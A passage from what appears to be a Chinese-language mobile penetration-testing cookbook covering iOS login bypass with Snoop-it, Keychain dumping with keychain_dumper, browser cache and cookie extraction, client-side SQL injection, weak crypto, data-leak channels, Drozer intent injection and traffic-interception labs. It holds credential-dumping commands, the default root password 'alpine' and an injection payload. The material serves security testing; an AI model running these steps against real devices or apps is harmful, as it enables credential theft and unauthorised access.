现在,点击
SM_LoginManagerController
。类信息会加载到右侧面板中。 -
向下导航,直到看到
-(void) unlockWasSuccessful
,然后点击前面的单选按钮:该方法现在已被选中。
-
接下来,点击面板右上角的设置并调用按钮。在出现的窗口中,点击底部的调用方法按钮:
当我们点击按钮时,我们注意到认证已经被绕过,且我们成功查看了锁定的文件。
工作原理…
Snoop-it 加载应用中的所有类,并用绿色标示当前正在运行的类。由于我们希望绕过当前的登录界面,直接加载主页面,我们需要寻找 UIViewController
。
在 UIViewController
中,我们看到 SM_LoginManagerController
,它可能包含与身份验证相关的方法。观察该类时,我们看到许多方法,例如 numberLoginSucceed
、patternLoginSucceed
等。
当输入 PIN 码成功时,应用会调用 unlockWasSuccessful
方法。
所以,当我们从我们的机器调用此方法并直接调用该功能时,应用成功加载了主页面。
还有更多…
当前的教程仅使用了一个动态分析器,但也可以使用其他选项和工具。进行 iOS 应用的动态分析面临许多挑战。你可能希望使用多个工具,而不仅仅依赖于一个工具,以克服这些挑战。
另见
-
使用动态分析器审计 Android 应用
检查 iOS 应用数据存储和钥匙串安全漏洞
iOS 中的钥匙串是一个加密的 SQLite 数据库,使用 128 位 AES 算法存储身份信息和密码。
在任何 iOS 设备上,钥匙串 SQLite 数据库用于存储用户凭据,例如用户名、密码、加密密钥、证书等。
开发者使用此服务 API 来指示操作系统安全地存储敏感数据,而不是使用不太安全的存储机制,如属性列表文件或配置文件。
在本教程中,我们将分析钥匙串转储以发现存储的凭据。
准备工作
请按照以下步骤准备钥匙串转储分析:
-
越狱 iPhone 或 iPad。
-
确保设备上 SSH 服务器正在运行(越狱后默认启用)。
-
从
github.com/ptoomey3/Keychain-Dumper
下载Keychain_dumper
二进制文件 -
将 iPhone 和计算机连接到同一 Wi-Fi 网络。
-
在计算机上,使用 SSH 登录到 iPhone,输入 iPhone 的 IP 地址,用户名为
root
,密码为alpine
。
如何实现……
按照这些步骤检查 iOS 的安全漏洞:
-
通过执行以下命令将
keychain_dumper
复制到 iPhone 或 iPad:**scp root@<device ip>:keychain_dumper private/var/tmp**
-
另外,可以使用 Windows 的 WinSCP 来实现相同功能:
-
一旦二进制文件复制完成,确保
keychain-2.db
拥有读取权限:**chmod +r /private/var/Keychains/keychain-2.db**
如下图所示:
-
给二进制文件赋予可执行权限:
**chmod 777 /private/var/tmp/keychain_dumper**
-
现在,我们只需运行
keychain_dumper
:**/private/var/tmp/keychain_dumper**
此命令将转储所有钥匙串信息,其中包含存储在钥匙串中的所有通用和互联网密码:
它是如何工作的...
iOS 设备中的钥匙串用于安全存储敏感信息,如用户名、密码、不同应用程序的认证令牌等,以及连接凭证(Wi-Fi/VPN)等。它位于 iOS 设备上,作为一个加密的 SQLite 数据库文件,路径为/private/var/Keychains/keychain-2.db
。
安全隐患出现在应用开发者使用操作系统的此功能来存储凭证,而不是将凭证存储在NSUserDefaults
、.plist
文件等地方。为了让用户不必每次都登录,从而将凭证保存在设备本身,所有应用的钥匙串信息会存储在其沙箱之外。
还有更多...
此分析还可以使用 Snoop-it 等工具动态地针对特定应用进行。按照步骤将 Snoop-it 挂钩到目标应用,点击Keychain Values
,并分析属性,以查看其值在钥匙串中的显示。
更多内容将在后续的配方中讨论。
查找基于 WAP 的移动应用中的漏洞
基于 WAP 的移动应用是运行在移动浏览器上的移动应用或网站。大多数组织会创建其复杂网站的轻量版,以便能够在移动浏览器中轻松且适当运行。例如,一个名为ABCXYZ
的假想公司可能将其主网站设为www.abcxyz.com
,而其移动网站则为m.abcxyz.com
。需要注意的是,移动网站(或 WAP 应用)与可安装的应用程序版本是分开的,例如 Android 上的.apk
。
由于移动网站运行在浏览器中,因此可以很合理地说,适用于 Web 应用的大多数漏洞同样适用于 WAP 应用。然而,这其中也有一些警告。漏洞的可利用性和风险评级可能不同。此外,并非所有的攻击都可以直接应用或执行。
准备工作
对于本配方,请确保准备好以下工具集(以 Android 为例):
-
ADB
-
WinSCP
-
Putty
-
已 root 的 Android 移动设备
-
在 Android 手机上安装的 SSH 代理应用
让我们来看一下常见的 WAP 应用漏洞。在讨论这些漏洞时,我们将只限于移动浏览器:
-
浏览器缓存:Android 浏览器将缓存存储在两个不同的部分——内容缓存和组件缓存。内容缓存可能包含基本的前端组件,如 HTML、CSS 或 JavaScript。组件缓存包含敏感数据,例如在加载内容缓存后将填充的详细信息。你需要找到浏览器缓存文件夹并在其中查找敏感数据。
-
浏览器内存:浏览器内存是指浏览器用于存储数据的位置。内存通常是长期存储,而缓存是短期存储。浏览浏览器内存空间,查找各种文件,如
.db
、.xml
、.txt
等。检查这些文件中是否存在敏感数据。 -
浏览器历史记录:浏览器历史记录包含用户浏览过的 URL 列表。这些 URL 以 GET 请求格式包含参数。同样,我们的目标是定位包含敏感数据的 URL,供我们用于 WAP 应用程序。
-
Cookies:Cookies 是网站跟踪用户会话的一种机制。Cookies 存储在设备本地。以下是与 Cookie 使用相关的安全问题:
-
有时,Cookie 会包含敏感信息。
-
如果 Cookie 属性较弱,可能会使应用程序的安全性变得脆弱。
-
Cookie 被窃取可能会导致会话劫持。
-
如何操作...
浏览器缓存:
让我们来看看浏览器缓存需要遵循的步骤:
-
安卓浏览器缓存可以在以下位置找到:
/data/data/com.android.browser/cache/webviewcache/
。 -
你可以使用 ADB 从
webviewcache
中提取数据,或者使用WinSCP/Putty
连接到已 root 的安卓手机上的 SSH 应用程序。 -
无论哪种方式,你最终都会进入
webviewcache
文件夹,并找到任意命名的文件。请参见以下截图中的高亮部分: -
将任意命名的文件扩展名重命名为
.jpg
,你将能够以截图格式查看缓存。在所有文件中搜索与 WAP 应用程序相关的敏感数据。
浏览器内存:
像 Android 应用程序一样,浏览器也在 /data/data
文件夹下有一个名为 com.android.browser
(默认浏览器)的内存空间。下面是典型浏览器内存空间的样子:
确保遍历所有文件夹,以获取你正在寻找的 WAP 应用程序的有用敏感数据。
浏览器历史记录
进入浏览器,定位到选项,导航到 历史记录,查找其中的 URL。
Cookies
包含 Cookie 值的文件可以在 /data/data/com.android.browser/databases/webview.db
路径下找到。
这些数据库文件可以通过 SQLite 浏览器工具打开,并提取出 Cookie。
还有更多...
除了这里主要与浏览器使用相关的主要漏洞外,所有其他与浏览器相关或通过浏览器被利用的 web 应用漏洞都适用,并且需要进行测试:
-
跨站脚本攻击是由于浏览器执行未经清理的有害脚本,服务器返回这些脚本的结果,对于 WAP 应用程序来说是非常有效的。
-
如果自动完成功能未关闭,可能导致浏览器为返回用户记住敏感数据。这也是数据泄漏的一个来源。
-
浏览器缩略图和图像缓冲区是查找数据的其他来源。
最重要的是,所有与浏览器使用无关的 Web 应用漏洞都适用。这些包括OWASP Top 10 漏洞,如 SQL 注入攻击、身份验证和会话管理漏洞等。业务逻辑验证是另一个需要绕过的重要检查。通过为浏览器设置代理并操作移动流量,这些漏洞都是可能的(我们将在后面的章节中提供一个相关的食谱)。
注意
本文讨论的内容主要围绕 Android,但所有讨论完全适用于在测试 WAP 应用时的 iOS 平台。方法、测试步骤和位置会有所不同,但所有漏洞仍然适用。在使用 iPhone 或 iPad 时,你可能需要尝试 iExplorer 和 plist 编辑工具。
另见
查找客户端注入
客户端注入是移动威胁领域中的一个新维度。客户端注入(也称为本地注入)是通过将恶意有效载荷注入本地存储,从而揭示不通过移动应用程序的常规工作流程的数据。如果在移动应用的搜索参数中注入 'or'1'='1
,而该搜索功能是为在本地 SQLite 数据库文件中进行搜索而构建的,这将导致揭示存储在相应 SQLite 数据库表中的所有数据;此时客户端 SQL 注入成功。
注意,恶意有效载荷并未传递到服务器端的数据库(可能是 Oracle 或 MSSQL),而是传递到移动设备的本地数据库(SQLite)。由于注入点和可注入目标是本地的(即移动设备),因此该攻击被称为客户端注入。
准备工作
为了准备查找客户端注入,准备好一些需要审核的移动应用,并准备好本书中许多其他食谱中使用的工具。
请注意,由于涉及的复杂性,客户端注入并不容易发现;许多时候,你需要根据首次成功的迹象来微调你的方法。
如何操作...
移动应用中存在客户端注入漏洞的前提条件是存在本地存储和一个查询本地存储的应用功能。为了方便首次讨论,我们先学习客户端 SQL 注入,这相对容易学习,因为用户对 Web 应用中的 SQL 注入已经非常熟悉。
以一个存储分支详情的本地 SQLite 数据库为例。该应用程序为希望搜索分支的用户提供了一个搜索功能。现在,如果某人将城市名称输入为孟买,city
参数将填充为 Mumbai
,并且该值动态地添加到 SQLite 查询中。查询构建并检索孟买城市的分支列表。(通常,为了更快的用户体验和节省网络带宽,应用会提供纯粹的本地功能。)
如果用户能够将有害有效负载注入到城市参数中,比如通配符字符或 SQLite 有效负载(如 drop table),并且这些有效负载执行后揭示了所有细节(在使用通配符的情况下),或者有效负载使表从数据库中删除(在使用 drop table 有效负载的情况下),那么你就成功利用了客户端 SQL 注入漏洞。
另一种客户端注入类型,在 OWASP Mobile TOP 10 发布中提到的是本地跨站脚本攻击(XSS)。请参考原始 OWASP PowerPoint 演示文稿的第 22 幻灯片,链接为:www.slideshare.net/JackMannino/owasp-top-10-mobile-risks
。他们称之为普通的 XSS,并展示了一个代码片段,其中 SMS 文本在本地被接受并显示在 UI 上。如果在 SMS 文本中输入脚本,便会导致本地 XSS(JavaScript 注入)。
还有更多……
类似地,HTML 注入也是可能的。如果应用程序本地存储的 HTML 文件可以被篡改为包含恶意代码,并且该应用程序有加载或执行该 HTML 文件的功能,那么本地就可能发生 HTML 注入。
相同的变体可能会导致本地文件包含(LFI)攻击。
如果数据以 XML 文件的形式存储在移动设备中,也可以尝试进行本地 XML 注入。
可能还会有更多变体的攻击。发现客户端注入非常困难且耗时,可能需要采用静态和动态分析方法。大多数扫描工具也不支持发现客户端注入。
客户端注入的另一个维度是其影响,通常在大多数情况下被评估为低风险。对此漏洞有一个强烈的反驳观点:如果可以轻松获取整个本地存储中的数据,那为什么还需要进行客户端注入?我在大多数情况下同意这个观点,因为整个 SQLite 或 XML 文件都可以被盗取,那么为什么要花时间搜索一个接受通配符的变量来揭示 SQLite 或 XML 文件中的数据呢?
然而,你仍然需要注意这个漏洞,因为 HTML 注入或 LFI 类型的攻击可能会导致恶意软件感染的文件插入,从而造成更有影响力的攻击。此外,有些平台(如 iOS)中,偷取本地存储非常困难。在这种情况下,客户端注入可能会派上用场。
另见
移动应用中的不安全加密
加密是信息安全中被误用的术语之一。有些人将其与哈希混淆,而另一些人可能实现了编码并称之为加密。对称密钥和非对称密钥是两种加密方案。
移动应用实现加密以保护存储和传输中的敏感数据。在进行审计时,你的目标应该是揭示弱加密实现或所谓的编码或其他较弱的形式,这些形式出现在应该实施适当加密的地方。尝试绕过移动应用中实施的加密。
准备工作
准备好一些移动应用和工具,如 ADB、其他文件和内存读取器、反编译器和解码工具等。
如何操作...
移动应用中的加密实现存在多种错误类型。每种类型的错误都有不同的发现方法:
-
编码(而非加密):很多时候,移动应用开发人员只是简单地在应用中实现 Base64 或 URL 编码(这是一种通过模糊化进行的安全手段)。
这种编码可以通过简单的静态分析发现。你可以使用本章第一个配方中讨论的脚本来查找这种编码算法。
动态分析将帮助你获取本地存储的编码格式数据。已知编码算法的解码器可以免费获得。使用其中任何一种,你将能够揭示原始值。因此,这种实现不能替代加密。
-
序列化(而非加密):另一种错误实现的变体是序列化。序列化是将数据对象转换为字节流的过程。逆过程,反序列化,也非常简单,原始数据可以很容易地恢复。
静态分析可以帮助揭示使用序列化的实现。
-
混淆(而非加密):混淆也存在类似问题,混淆的值可以被反混淆。
-
哈希(而非加密):哈希是一种使用标准复杂算法的单向过程。这些单向哈希面临一个主要问题,即它们可以被重放(而不需要恢复原始数据)。此外,彩虹表可以用于破解哈希值。
和之前描述的其他技术一样,移动应用中的哈希使用也可以通过静态分析发现。动态分析还可以用来揭示本地存储的单向哈希。
它是如何工作的...
为了理解移动应用中的不安全加密,我们来看看一个我们观察到的实际案例。
弱自定义实现的示例
在测试一个实时移动银行应用时,我和我的同事遇到了一个场景,其中 userid
和 mpin
的组合是通过自定义编码逻辑发送的。这里的编码逻辑基于预定义的字符逐一替换为另一个字符,按照内置的映射。例如:
-
2
被替换为4
-
0
被替换为3
-
3
被替换为2
-
7
被替换为=
-
a
被替换为R
-
A
被替换为N
正如你所注意到的,替换没有逻辑可言。直到你揭示或破译整个内置映射,你才有可能成功。一个简单的技巧是逐个输入所有可能的字符,并观察响应。我们输入 userid
和 PIN
为 222222
和 2222
,并注意到转换后的 userid
和 PIN
分别为 444444
和 4444
,如上面的映射所示。继续改变输入,你将创建一个完整的映射,就像应用程序中使用的那样。
现在,窃取用户的编码数据并应用创建的映射,从而揭示原始数据。整个过程在本文所提到的另请参见部分的文章中有很好的描述。
这是一个关于加密故障实现的自定义示例。这类故障通常在静态分析中很难发现,尤其是在那些难以逆向的应用程序中,比如 iOS 应用。自动化动态分析发现这一点的可能性也很低。手动测试和分析,结合动态或自动化分析,更有可能揭示此类自定义实现。
还有更多...
最后,我想分享我们遇到的另一个应用程序。这个应用程序使用了正确的加密。加密算法是一个广为人知的安全算法,密钥也很强大。尽管如此,整个加密过程仍然可以被逆向破解。
该应用程序存在两个错误;我们将这两个错误结合起来破解了加密:
-
应用程序代码中包含了标准的加密算法在 APK 包中。甚至没有使用混淆来至少保护名称。我们使用简单的 APK 到 DEX 再到 JAR 的转换过程来揭示算法细节。
-
应用程序将强加密密钥存储在 Android 设备的
/data/data
文件夹下的本地 XML 文件中。我们使用 adb 读取该 XML 文件,从而获得了加密密钥。
根据克尔科霍夫原理,加密系统的安全性应仅依赖于密钥和私有随机数生成器的保密性。这是所有加密算法实现的方式。密钥才是秘密,而不是算法。
在我们的场景中,我们能够获得密钥并知道加密算法的名称。这足以破解强加密实现。
另请参见
发现数据泄漏源
数据泄露风险引起了全球各地组织的担忧,人们一直在实施解决方案以防止数据泄露。对于移动应用程序,首先我们需要思考数据泄露可能的来源或渠道。一旦这一点明确,就可以设计或采用一种技术来揭示其中的每一个渠道。
准备就绪
和其他方法一样,这里也需要一些应用程序(待分析)、一台 Android 设备或模拟器、ADB、DEX 到 JAR 转换器、Java 反编译器、Winrar 或 Winzip。
如何操作...
为了识别数据泄露源,请列出你能想到的所有可能的移动应用数据泄露渠道。通常,所有移动应用都有以下潜在的数据泄露渠道:
-
本地存储的文件
-
客户端源代码
-
移动设备日志
-
网络缓存
-
控制台消息
-
按键记录
-
通过 HTTP 发送的敏感数据
它是如何工作的...
下一步是揭示这些潜在渠道中的数据泄露漏洞。我们来看看之前识别的六个常见渠道:
-
本地存储的文件:到目前为止,读者应该非常熟悉这一点。数据以本地文件的形式存储,如共享偏好设置、xml 文件、SQLite 数据库及其他文件。
在 Android 中,这些文件位于应用程序文件夹的
/data/data
目录下,可以使用工具如 ADB 来读取。在 iOS 中,工具如 iExplorer 或 SSH 可以用来读取应用程序文件夹。
-
客户端源代码:移动应用程序的源代码本地存储在设备本身中。应用程序中的源代码可能硬编码了数据,而一个常见的错误是硬编码敏感数据(无论是故意还是无意)。
从实践中,我们遇到过一个应用程序,它将连接到 PoS 终端的连接密钥硬编码在代码中。发现了一些应该理想情况下存在于服务器端代码中的硬编码公式,该公式用于计算某个数字。数据库实例名称和凭据也有可能被硬编码,尤其是在移动应用直接连接到服务器数据存储时。
在 Android 中,通过两步过程—APK 到 DEX,再到 DEX 到 JAR 的转换,源代码比较容易反编译。
在 iOS 中,使用类 dump-z 或 otool 等工具可以将头文件的源代码反编译到一定程度。
一旦获取到原始源代码,就可以通过静态字符串搜索来发现代码中的敏感数据。
-
移动设备日志:所有设备都会生成本地日志来存储崩溃和其他信息,这些日志可以用来调试或分析安全漏洞。糟糕的编码可能会将敏感数据存储到本地日志中,从而导致数据泄露。
Android ADB 命令
adb logcat
可以用来读取 Android 设备上的日志。如果你对“易受攻击的银行”应用使用相同的 ADB 命令,你将看到日志中包含用户凭证,如下截图所示: -
Web 缓存:Web 缓存也可能包含与移动应用中使用的 Web 组件相关的敏感数据。我们在本章之前讨论了如何在 WAP 配方中发现这一点。
-
控制台消息:开发人员在应用开发和调试过程中使用控制台消息来打印信息。如果在应用程序上线时没有关闭控制台消息(GO LIVE),可能会成为数据泄露的另一个源。可以通过在调试模式下运行应用程序来检查控制台消息。
-
按键记录:某些移动平台已知会缓存按键操作。恶意软件或按键记录器可能会利用这一点窃取用户的按键,从而成为数据泄露的另一个来源。需要进行恶意软件分析,以发现嵌入或预装的恶意软件或按键记录器。动态分析也有帮助。
-
通过 HTTP 发送的敏感数据:应用程序可能会通过 HTTP 发送敏感数据,或使用弱 SSL 实现。在这两种情况下,敏感数据泄露是可能的。
可以通过静态分析查找 HTTP 字符串来发现 HTTP 的使用。动态分析通过捕获运行时的数据包也能揭示流量是通过 HTTP 还是 HTTPS。
存在各种与 SSL 相关的弱实现和降级攻击,这使得数据容易受到嗅探,从而导致数据泄露。
还有更多...
数据泄露源可以是广泛的,列出所有的数据泄露源似乎是不可能的。有时会存在应用程序或平台特定的数据泄露源,这可能需要进行不同类型的分析。
意图注入可以用来发送意图以访问特权内容。这些意图可能会窃取保护的数据,如医院中所有患者的个人信息(符合 HIPPA 规定)。
iOS 截图后台问题,当 iOS 应用程序在 iPhone 或 iPad 上进入后台时,会存储包含用户输入数据的截图。想象一下,像包含用户信用卡详细信息、CCV、有效期等的截图,在符合 PCI-DSS 的应用程序中被发现。
恶意软件从完全不同的角度给数据泄露带来了威胁。需要注意的是,数据泄露是组织今天所面临的一个重大风险。这不仅仅是经济损失;损失可能是无形的,比如声誉损害,或是合规性或监管违规。因此,识别应用中可能的最大数据泄露源并修复潜在的泄露非常重要。
另见
-
在 Android 中启动意图注入
移动设备中的其他基于应用的攻击
当我们谈论基于应用的攻击时,OWASP TOP 10 风险是首先引起注意的事项。OWASP(www.owasp.org)有一个专门的项目致力于移动安全,并发布了Mobile Top 10。
OWASP 收集来自行业专家的数据,并每三年排名一次前 10 大风险。这是一个非常好的移动应用安全知识库。以下是 2014 年发布的最新移动 Top 10:
-
M1:弱的服务器端控制
-
M2:不安全的数据存储
-
M3:不足的传输层保护
-
M4:意外的数据泄露
-
M5:较差的授权和认证
-
M6:破损的加密技术
-
M7:客户端注入
-
M8:通过不受信任的输入做安全决策
-
M9:不当的会话处理
-
M10:缺乏二进制保护
准备工作
准备一些应用程序来进行分析,使用我们目前讨论的同一套工具,并参考第一章中的设置 Android 渗透测试环境和设置 iOS 渗透测试环境的步骤。
如何操作...
在这个步骤中,我们将局限于其他应用攻击。本书中尚未涵盖的攻击有:
-
M1:弱的服务器端控制
-
M5:较差的授权和认证
-
M8:通过不受信任的输入做安全决策
-
M9:不当的会话处理
在第五章,与其他平台的协作中,详细讨论了 M1,同时也讨论了大部分为服务器端问题的 M5 和 M9。
它是如何工作的...
目前,让我们讨论 M5、M8 和 M9 的客户端或移动端问题。
M5:较差的授权和认证
一些常见的可以被攻击的场景包括:
-
在设备级别实现的认证(例如,PIN 存储在本地)
-
认证绑定在较差的参数上(如 UDID 或 IMEI 号码)
-
负责访问受保护应用菜单的授权参数存储在本地
这些可以通过读取数据(使用 ADB)、反编译应用程序并进行静态分析,或通过对外出流量进行动态分析来进行攻击。
M8:通过不受信任的输入做安全决策
这一部分讲的是 IPC。应用程序间通信的 IPC 入口点,如 Android 中的 Intents 或 iOS 中的 URL 方案,是脆弱的。如果源没有经过验证,应用程序就可能受到攻击。
恶意意图可以被触发以绕过授权或窃取数据。让我们在下一个步骤中更详细地讨论这个问题。
URL 方案是应用程序指定启动特定组件的一种方式。例如,iOS 中的 mailto 方案用于创建新的电子邮件。如果应用程序未能指定可接受的来源,任何恶意应用程序都可以发送 mailto 方案到受害应用程序并创建新邮件。
M9:不当的会话处理
从纯粹的移动设备角度来看,存储在.db
文件或oauth
令牌中的会话令牌,或者存储在保护不力的文件中的访问授权字符串,都是脆弱的。通过使用 ADB 读取本地数据文件可以获取这些信息。
另见
在 Android 中发起意图注入
Android 使用意图请求来自另一个应用程序组件的操作。一种常见的通信方式是传递 Intent 来启动服务。我们将通过意图注入攻击来利用这一点。
意图注入攻击通过将意图注入应用程序组件来执行通常不被应用程序工作流允许的任务。例如,如果 Android 应用程序有一个登录活动,登录成功后允许通过另一个活动访问受保护的数据。如果攻击者能够通过传递 Intent 来调用内部活动以访问受保护的数据,那么这就是一次意图注入攻击。
准备就绪
从www.mwrinfosecurity.com/products/drozer/
下载 Drozer 并按照用户指南中提到的安装说明进行安装。
安装 Drozer 控制台代理并按照用户指南中提到的步骤启动会话。
如果您的安装正确,您应该会看到 Drozer 命令提示符(dz>
)。
如何执行...
您还应该有一些易受攻击的应用程序进行分析。我们选择了 OWASP GoatDroid 应用程序:
-
在模拟器中启动 OWASP GoatDroid Fourgoats 应用程序。
-
浏览应用程序以了解其工作原理。请注意,您需要通过提供用户名和密码进行身份验证,身份验证后可以访问个人资料和其他页面。以下是您获得的登录前界面:
-
现在让我们使用 Drozer 来分析 Fourgoats 应用程序的活动。以下 Drozer 命令非常有帮助:
**run app.activity.info -a <package name>**
Drozer 检测到四个具有空权限的活动。其中,
ViewCheckin
和ViewProfile
是登录后的活动。 -
使用 Drozer 直接访问这两个活动,命令如下:
**run app.activity.start --component <package name> <activity name>**
-
我们选择访问
ViewProfile
活动,以下截图展示了整个活动序列: -
Drozer 执行了一些操作,受保护的用户个人资料在模拟器中打开,如下所示:
它是如何工作的...
Drozer 在后台传递了一个 Intent 来调用登录后的活动ViewProfile
。这导致ViewProfile
活动执行某个操作,从而显示了个人资料界面。通过这种方式,可以使用 Drozer 框架执行意图注入攻击。
还有更多...
Android 还使用意图(intents)来启动服务或发送广播。服务和广播接收器可以受到意图注入攻击。Drozer 框架也可以用来对应用程序组件进行攻击。攻击者可以编写自己的攻击脚本或使用不同的框架来执行此类攻击。
参见
-
使用 Drozer 查找 Android 应用程序中的漏洞
-
www.mwrinfosecurity.com/system/assets/937/original/mwri_drozer-user-guide_2015-03-23.pdf
第四章 攻击移动应用程序流量
在本章中,我们将涵盖以下主题:
-
为移动设备设置无线渗透测试实验室
-
配置 Android 中的流量拦截
-
使用 Burp Suite 和 Wireshark 拦截流量
-
使用 MITM 代理修改和攻击
-
配置 iOS 中的流量拦截
-
分析 iOS 应用程序流量并提取敏感信息
-
对移动应用程序的 WebKit 攻击
-
通过证书操作执行 SSL 流量拦截
-
使用移动配置文件在 iOS 设备中设置 VPN 并拦截流量
-
绕过 Android 和 iOS 中的 SSL 证书验证
简介
移动应用程序架构涉及移动设备上运行的应用程序(.apk
、.ipa
等)与服务器端应用程序组件之间的通信,业务逻辑驻留在其中。此通信通过 HTTP、GPRS、USSD、SMS 等各种通道进行。通信渠道对攻击者开放,因此,通信安全或数据传输安全变得重要。
本章重点是攻击移动应用程序流量。为了简化起见,我们选择了后续配方中的 HTTP 通信层。敏感的移动应用程序已经实现了 SSL 以实现保密性,但我们将在后续的配方中了解到 SSL 流量也可以被攻击。
为移动设备设置无线渗透测试实验室
让我们开始为移动设备的无线渗透测试设置实验室。为了能够嗅探移动设备发出的流量,我们需要了解移动应用程序如何通信,即通信渠道是什么?移动设备如何发送 HTTP 或 HTTPS 请求?
移动应用程序的 HTTP/HTTPS 流量通过 GPRS 或 Wi-Fi 通道流动。无论使用哪种通道,我们都需要设置一个实验室来嗅探空中的流量。GPRS 嗅探需要特定的硬件设备,并且周围有各种黑客技术可以完成剩下的工作。请注意,某些国家禁止对 GPRS(电信)流量进行拦截。我们将专注于设置 Wi-Fi 通道的实验室。
准备工作
我们需要一个连接到互联网的 Wi-Fi 网络(无线接入点)。我们需要运行目标应用程序的移动设备,其流量将被嗅探。我们还需要一台安装了任何代理工具的笔记本电脑(或计算机)。
注意事项
注意,移动设备和笔记本电脑都应该有无线网卡;它们应该能够连接到 Wi-Fi 网络并参与 HTTP 通信。
如何实现…
设置无线渗透测试实验室的步骤如下:
-
设置无线网络并确保 Wi-Fi 网络正在广播,并且 SSID 可供连接各种 Wi-Fi 设备使用。
-
将您的移动设备连接到 Wi-Fi 网络。
-
浏览特定应用程序以验证应用程序通信是否正常工作。
-
现在,在笔记本电脑中安装一个网络代理工具,如 Burp Suite 或 Fiddler。将这台笔记本电脑也连接到相同的 Wi-Fi 网络。这个设置应该如下图所示:
它是如何工作的...
移动应用的常规通信路径是:移动设备 | 无线接入点 | 服务器(通过互联网)。在下图中,这条路径为1** | **4
:
无线渗透测试实验室的设计是在常规的通信路径1到4之间插入2和3步骤(请参考前面的图表了解步骤)。
移动设备被配置为设置 Wi-Fi 网络的网络代理,因此我们将流量强制通过2步骤。现在我们在代理机器上运行代理工具;该代理工具能够在将流量通过3步骤转发到无线接入点之前,查看并编辑移动应用的流量。之后,常规的4步骤用于与服务器的通信。
通过这种方式,建立了一个用于渗透测试的无线实验室环境。在这里,移动应用的流量可以被篡改以绕过业务逻辑。即便是 SSL 应用的流量,也可以通过这种方式进行修改。接下来的教程中我们将会看到这一点。
还有更多...
使用移动电话的替代方案是使用模拟器。使用模拟器时,实验室的要求进一步简化。相同的机器可以同时运行模拟器和代理工具,并在流量到达服务器之前进行编辑。因此,在同一台笔记本电脑中拥有模拟器、ADB 和代理工具也是移动无线渗透测试实验室的必要要求。然而,请注意,对于一些生产环境的应用,无法在模拟器中进行测试。我们曾看到银行应用中的短信激活步骤是无法在模拟器中工作的原因之一。这个问题可以通过与应用开发人员的合作来绕过。进行黑盒渗透测试时,这样的选项是不可用的。
在一个特定的案例中,我们遇到了一款绑定到特定电信 3G 网络的移动应用,且无法在 Wi-Fi 或其他运营商的 3G 网络上运行。
这需要稍微不同的实验室配置。在前面的图中,我们将无线接入点替换为一个支持 3G 和 Wi-Fi 的设备。该设备用于创建热点,从而提供无线网络,最终通过该设备的 3G 连接到服务器。因此,拦截设置的1、2和3步骤保持不变。在4步骤中,我们没有使用有线网络,而是通过 3G 通道连接到服务器。
另见
-
配置 iOS 的流量拦截
-
www.blackhat.com/presentations/bh-dc-08/Steve-DHulton/Whitepaper/bh-dc-08-steve-dhulton-WP.pdf
配置 Android 流量拦截
在之前的教程中,我们学会了如何为移动设备拦截创建渗透测试实验室,其中提到我们需要配置移动设备,强制执行步骤 2 来跟随网络代理。在本教程中,让我们学习如何在 Android 手机上实现这一过程。
准备工作
一部 Android 手机。移动应用程序需要一部已 root 的手机。(我们在 第一章 的 “Root 和越狱简介” 中学到了 root 技巧,移动安全简介)
像 ProxyDroid 这样的 Android 代理工具可以从 Play 商店下载。
如何操作...
对于基于 WAP 的应用程序(即在 Android 浏览器中运行的应用程序),设置流量拦截非常简单。为此,进入 Wi-Fi 设置,选择你希望连接的 Wi-Fi,然后在 高级选项下可以看到 代理设置。选择 代理设置 为 手动,然后配置 代理主机名/IP 地址,代理端口 等信息。以下截图也展示了这一过程:
虽然前述方法适用于 WAP 应用程序,但它不适用于下载并安装的应用程序(即原生应用和混合应用)。对于这些应用程序,我们需要在手机上安装 Android 代理工具。ProxyDroid 就是其中一款工具,可以从 Google Play 商店免费下载。这些工具的代理设置仅在已 root 的手机上有效。所以,使用第三方代理工具的代理顺序如下:
-
对你的 Android 设备进行 root。
-
安装诸如 ProxyDroid 或 Autoproxy lite 等代理工具。
-
配置代理工具。
前两个步骤你已经了解了。第三步如图所示:
ProxyDroid 需要超级用户权限,以便能够设置代理。进入下一步,启用 代理开关,配置 主机名、端口 等。最后,如果代理需要身份验证,可以提供身份验证凭据。由于代理由我们控制,我们希望保持简单,不配置身份验证,以便进行无缝测试。
它是如何工作的...
Android 操作系统基于 Linux 构建。Linux 使用路由表来通过网络路由数据包。因此,我们需要修改 Android 中的路由表条目,以便将数据包路由到我们愿意拦截的网络代理。
由于无法访问底层组件(如路由表),因此我们需要对手机进行 root,使得代理工具能够在操作系统上获得超级用户权限。这样,根目录手机上的代理工具可以根据用户提供的代理设置覆盖路由表。
还有更多...
使用 Android 模拟器时,可以使用 ADB 工具设置代理。模拟器和 Web 代理工具可以在同一台机器上运行。使用以下命令启动模拟器,并将本地代理设置为端口 7000
:
**emulator.exe -avd <name> -http-proxy 127.0.0.1:7000**
另见
-
使用 Burp Suite 和 Wireshark 拦截流量
-
https://play.google.com/store/apps/details?id=org.proxydroid&hl=en
-
https://play.google.com/store/apps/details?id=com.mgranja.autoproxy_lite&hl=en
使用 Burp Suite 和 Wireshark 拦截流量
流量拦截是设置代理后需要进行的下一个目标。流量拦截为应用程序攻击提供了另一层攻击面。在这个配方中,我们将学习如何设置流量拦截,而下一个配方将讨论如何通过代理拦截流量来攻击应用程序。
拦截或嗅探流量的两种主要工具是 Web 代理工具(如 Burp Suite 或 Charles Proxy)和网络嗅探工具(如 Wireshark 或 Android 上的 Shark for Root)。Burp Suite 将自己插入到通信中(暂停、修改并转发),而 Shark for Root 则嗅探网络数据包(支持 Wi-Fi 或 3G)。
准备工作
要拦截移动设备流量,请按照前两个配方中描述的设置实验室和工具。另请从 Play 商店下载并安装 Shark。
如何操作...
以下是使用 Burp Suite 和 Shark for Root 分别进行设置时需要遵循的步骤:
Burp Suite
-
按照 为移动设备设置无线渗透测试实验室 配方中描述的步骤,设置无线渗透测试实验室。此时,Burp Suite(Burp Proxy)应当在你的笔记本电脑上运行,并监听默认端口
8080
。 -
现在配置 Android 手机,将流量路由到你笔记本电脑上运行的 Burp Proxy(可以参考之前的配置方法)。确保 IP 地址、端口等配置正确。现在你可以看到被拦截的流量并进行篡改。让我们将恶意活动留到下一个配方中。
Shark for Root
与 Android 上的代理工具类似,Shark for Root 也需要超级用户权限。它需要在已 Root 的手机上运行,并且需要允许创建数据包转储。此步骤显示在下面的截图中:
最后,设置捕获流量的参数。Shark for Root 会将所有数据包转储到 .pcap
文件中,正如你在下图中所看到的,表示 pcap
转储已经开始。右侧的截图显示了 .pcap
文件在手机中创建并存储的路径:
.pcap
文件可以转移到计算机上,并通过 Wireshark 进行更好的解析。
它是如何工作的...
